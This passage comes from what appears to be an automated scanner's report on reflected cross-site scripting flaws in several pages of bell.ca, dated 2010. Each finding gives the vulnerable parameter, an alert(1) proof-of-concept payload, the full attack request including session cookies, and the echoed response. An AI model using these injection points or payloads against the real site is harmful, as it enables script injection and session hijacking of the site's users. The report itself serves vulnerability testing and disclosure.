Expires: Tue, 09 Nov 2010 15:22:00 GMT
Date: Wed, 24 Nov 2010 15:22:00 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
Cache-Control: private, max-age=0
Last-Modified: Fri, 05 Nov 2010 14:40:53 GMT
X-AspNet-Version: 2.0.50727
lastModifiedValue: Fri, 05 Nov 2010 14:40:53 GMT
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 15:22:00 GMT; path=/
Set-Cookie: gemini=region=ON|language=en|province=ON; domain=.bell.ca; expires=Tue, 22-Feb-2011 15:22:00 GMT; path=/
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 12.0.0.6529
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">


<head >
<meta name="product" content=""></meta>
<meta name="products"
...[SNIP]...
ript language="javascript" type="text/javascript">
function CurrentPageToPDF(){
window.location= '/Pages/ConvertToPDF.aspx?urlToPDF=/pages/what_is_bell_install&prov=ON&lang=en&originalURL=/en-onb661b';4b505a4d157/TV/What_is_Bell_Install';


}
function PrintArticlePagePopup(){
day = new Date();
id = day.getTime();
eval("page" + id + " = window.open('/en-on/TV/What_is_Bell_Insta
...[SNIP]...

2.315. http://www.bell.ca/accessibilityservices/PrsSN_Landing.page [content parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /accessibilityservices/PrsSN_Landing.page

Issue detail

The value of the content request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a960e'-alert(1)-'35a36f30379 was submitted in the content parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /accessibilityservices/PrsSN_Landing.page?language=en&region=ON&languageToggle=true&content=/resources/templates/PrsSN_GNL_3_C.jspa960e'-alert(1)-'35a36f30379&metaKey=PrsSN_Landing HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 17:07:53 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=ynVpMtGJXzn8FLGCWhvlmGVpQQV85vR1TRGDGJXlxT9VJdzCRv8h!674249451; domain=.bell.ca; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 20:22:00 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 20:22:00 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 20:22:00 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 20:22:00 GMT; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 20687

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">


<!-- GPN: QC_DC3CAR_4 -->


<!-- ABValue: true -->


   <html x
...[SNIP]...
ell.ca/accessibilityservices/PrsSN_Landing.page?regionToggle=true&languageToggle=true&content=/resources/templates/PrsSN_GNL_3_C.jsp&metaKey=PrsSN_Landing&content=/resources/templates/PrsSN_GNL_3_C.jspa960e'-alert(1)-'35a36f30379&metaKey=PrsSN_Landing&region=' + region + '&language=en';
        }
       
        //Function for external popups
        function gotoSite(thisUrl, thisWidth,thisHeight,thisTop,thisLeft) {
       
        v
...[SNIP]...

2.316. http://www.bell.ca/accessibilityservices/PrsSN_Landing.page [metaKey parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /accessibilityservices/PrsSN_Landing.page

Issue detail

The value of the metaKey request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a8b3b'-alert(1)-'1e8778dff81 was submitted in the metaKey parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /accessibilityservices/PrsSN_Landing.page?language=en&region=ON&languageToggle=true&content=/resources/templates/PrsSN_GNL_3_C.jsp&metaKey=PrsSN_Landinga8b3b'-alert(1)-'1e8778dff81 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 17:08:13 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=rFBFMtGdkRyKggKmPxGwCZLJtCVrNff9FtZB28bb53DFpnVcl2ph!674249451; domain=.bell.ca; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 20:22:20 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 20:22:20 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 20:22:20 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 20:22:20 GMT; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 20689

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">


<!-- GPN: QC_DC3CAR_4 -->


<!-- ABValue: false -->


   <html
...[SNIP]...
rvices/PrsSN_Landing.page?regionToggle=true&languageToggle=true&content=/resources/templates/PrsSN_GNL_3_C.jsp&metaKey=PrsSN_Landing&content=/resources/templates/PrsSN_GNL_3_C.jsp&metaKey=PrsSN_Landinga8b3b'-alert(1)-'1e8778dff81&region=' + region + '&language=en';
        }
       
        //Function for external popups
        function gotoSite(thisUrl, thisWidth,thisHeight,thisTop,thisLeft) {
       
        var url = '/accessibili
...[SNIP]...

2.317. http://www.bell.ca/accessibilityservices/PrsSN_Landing.page [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /accessibilityservices/PrsSN_Landing.page

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 549cd'-alert(1)-'22747c9cffd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /accessibilityservices/PrsSN_Landing.page?language=en&region=ON&languageToggle=true&content=/resources/templates/PrsSN_GNL_3_C.jsp&metaKey=PrsSN_Landing&549cd'-alert(1)-'22747c9cffd=1 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 17:08:32 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=wr1hMtGQGW5KyrGyhwLkFFfktVNT2nTJMGSlFRV4Zs0KvMV7Lhpw!674249451; domain=.bell.ca; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 20:22:39 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 20:22:39 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 20:22:39 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 20:22:39 GMT; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 20693

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">


<!-- GPN: QC_DC3CAR_4 -->


<!-- ABValue: true -->


   <html x
...[SNIP]...
vices/PrsSN_Landing.page?regionToggle=true&languageToggle=true&content=/resources/templates/PrsSN_GNL_3_C.jsp&metaKey=PrsSN_Landing&content=/resources/templates/PrsSN_GNL_3_C.jsp&metaKey=PrsSN_Landing&549cd'-alert(1)-'22747c9cffd=1&region=' + region + '&language=en';
        }
       
        //Function for external popups
        function gotoSite(thisUrl, thisWidth,thisHeight,thisTop,thisLeft) {
       
        var url = '/accessibi
...[SNIP]...

2.318. http://www.bell.ca/home/popups/personal/redirectAliant.jsp [locationParam parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /home/popups/personal/redirectAliant.jsp

Issue detail

The value of the locationParam request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6f74c"%3balert(1)//4bece87b792 was submitted in the locationParam parameter. This input was echoed as 6f74c";alert(1)//4bece87b792 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /home/popups/personal/redirectAliant.jsp?locationParam=6f74c"%3balert(1)//4bece87b792 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 16:43:08 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3C01
Cache-Control: no-cache="set-cookie"
Content-Length: 5928
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=DWZGMtQcJnXM2MQWmfTmZ23hvFTT2WvbtG0BGnLY4JjdjQQGnbph!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1


<html>
<head>
<title>Please take note</title>
<meta name="keywords" content="bell.ca" />
<meta name="description" content="bell.ca" />
<met
...[SNIP]...
<!--
// Confirmation of the redirection to Aliant.net
function doRedirect(){
var region = "NS";
var lang = "en";
var locationParam = "6f74c";alert(1)//4bece87b792";
var targetUrl = "http://productsandservice.aliant.net/PS/bell_punchin.jsp" + "?location=" + locationParam + "&region=" + region + "&language=" + lang;

myWi
...[SNIP]...

2.319. http://www.bell.ca/shop/SmeSol_Internet_Landing.page [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shop/SmeSol_Internet_Landing.page

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9c0ba"%3balert(1)//168849a899d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 9c0ba";alert(1)//168849a899d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shop/SmeSol_Internet_Landing.page?9c0ba"%3balert(1)//168849a899d=1 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 17:06:51 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=1KFJMtGLqkpRG2y2PvXJBFc22sssLYCcx9tMmpGsH51sVZDKvY0T!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 37419


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">


   <html lang="en">
       

<head>

...[SNIP]...
<!--
window.location = "http://www.bell.ca/shop/Sb_viewLob.page?regionToggle=true&languageToggle=true&lobId=internet&9c0ba";alert(1)//168849a899d=1&region=ON";
//-->
...[SNIP]...

2.320. http://www.bell.ca/shop/SmeSol_Landing.page [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shop/SmeSol_Landing.page

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8fa47"%3balert(1)//31ab7a0f8d0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 8fa47";alert(1)//31ab7a0f8d0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shop/SmeSol_Landing.page?8fa47"%3balert(1)//31ab7a0f8d0=1 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 17:06:47 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=jFGHMtGHj031JJTKyrHCvX3GbZKJcWNQpjnpNrsbQ8mpJvh1DXZJ!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 31674


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">


   <html lang="en">
       

<head>

...[SNIP]...
<!--
window.location = "http://www.bell.ca/shop/Sb_Landing.page?regionToggle=true&languageToggle=true&8fa47";alert(1)//31ab7a0f8d0=1&region=ON";
//-->
...[SNIP]...

2.321. http://www.bell.ca/shop/SmeSol_Network_Landing.page [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shop/SmeSol_Network_Landing.page

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3252a"%3balert(1)//e9271b5d933 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 3252a";alert(1)//e9271b5d933 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shop/SmeSol_Network_Landing.page?3252a"%3balert(1)//e9271b5d933=1 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 17:07:10 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=p2TRMtGpq5RLznSL5GJF0LXgvV3CQGZnkgtDg0HShqRf4pyJBKGk!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 31674


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">


   <html lang="en">
       

<head>

...[SNIP]...
<!--
window.location = "http://www.bell.ca/shop/Sb_Landing.page?regionToggle=true&languageToggle=true&3252a";alert(1)//e9271b5d933=1&region=ON";
//-->
...[SNIP]...

2.322. http://www.bell.ca/shop/SmeSol_Telephony_Landing.page [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shop/SmeSol_Telephony_Landing.page

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 80679"%3balert(1)//a88b10a106f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 80679";alert(1)//a88b10a106f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shop/SmeSol_Telephony_Landing.page?80679"%3balert(1)//a88b10a106f=1 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
